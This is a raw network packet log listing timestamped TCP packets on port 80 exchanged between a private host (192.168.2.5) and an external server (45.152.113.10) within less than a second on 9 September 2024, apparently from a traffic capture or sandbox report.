Sep 9, 2024 18:45:06.076550007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076792002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076807022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076822042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076832056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076834917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076844931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076853037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076864004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076869011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076874018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076885939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076891899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076901913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076904058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076921940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076921940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076945066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076960087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076975107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076998949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.077013016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.164762020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.164778948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.164794922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.164827108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.164841890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.164855003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.164875031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.164891005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.164894104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.164911985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.164937973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.164992094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165007114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165020943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165035963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165050983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.165076017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.165100098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165115118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165129900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165138006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.165143013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.165163040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.165199995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166336060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166352034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166390896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166408062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166414022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166425943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166430950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166449070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166459084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166476011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166486979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166507959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166522980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166527987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166551113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166563988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166585922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166599989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166615009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166636944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166657925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166692972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166708946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166724920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166744947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166768074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166816950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166831970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166847944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166862965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166868925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166892052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166913033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166944027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166959047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166974068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166980982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.166987896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.166992903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167005062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167009115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167026043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167036057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167037964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167052984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167067051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167083979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167088032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167109966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167134047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167162895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167177916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167193890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167206049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167215109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167239904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167272091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167285919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167305946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167315960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167330980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167330980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167349100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167351961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167361975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167366028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167391062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167404890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167404890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167474031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167489052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167504072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167515039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167535067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167591095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167604923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167620897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167635918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167635918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167653084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167661905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167684078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167689085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167705059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167707920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167721033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167728901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167738914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167743921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167756081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167759895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167771101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167792082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167792082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167808056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167824030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167835951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.167844057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167865038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.167887926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168000937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168015957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168030977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168046951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168052912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168066025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168076038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168081999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168097973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168102980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168114901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168123960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168148041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168190002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168205976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168220043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168225050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168236971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168250084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168262959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168277979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168332100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168346882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168376923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168381929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168392897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168409109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168412924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168425083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168436050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168441057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168448925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168463945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168479919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168562889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168577909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168592930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168601990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168607950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168612003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168623924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168629885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168643951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168659925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168710947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168726921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168741941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168757915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168761969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168773890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168790102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168790102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168807030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168829918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168833017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168864965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.168981075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.168997049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169012070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169025898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169034004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169043064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169059038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169059992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169074059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169079065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169091940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169101000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169106007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169111013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169122934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169133902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169143915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169146061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169162989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169179916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169205904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169343948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169358969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169373035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169380903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169395924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169409990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169430971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169440031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169456959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169471979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.169478893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169478893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.169563055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257559061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257616043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257630110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257647991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257671118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257697105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257721901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257738113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257755041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257771969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257790089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257823944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257869959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257886887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257910013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257910013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257926941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257935047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257944107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257952929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257967949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.257970095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.257982969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.258002043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.258009911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.258148909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.258850098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.258903027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.258944988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.258968115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.258991957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259006977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259011030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259036064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259061098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259061098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259078026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259093046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259116888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259143114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259301901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259318113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259334087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259349108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259351969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259366035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259366989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259408951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259434938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259449959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259450912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259450912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259450912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259465933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259465933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259483099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259497881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259499073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259515047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259524107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259532928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259542942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259552002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259567022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259576082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259596109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259624958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259665966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259671926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259686947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259710073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259726048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259810925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259825945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259840965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259855986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259855986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259866953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259874105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259886026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259900093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259915113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.259963989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259977102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.259991884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260006905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260006905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260018110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260023117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260035038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260050058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260055065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260066986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260068893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260082960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260097980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260149002 CEST	80	49707	45.152.113.10	192.168.2.5
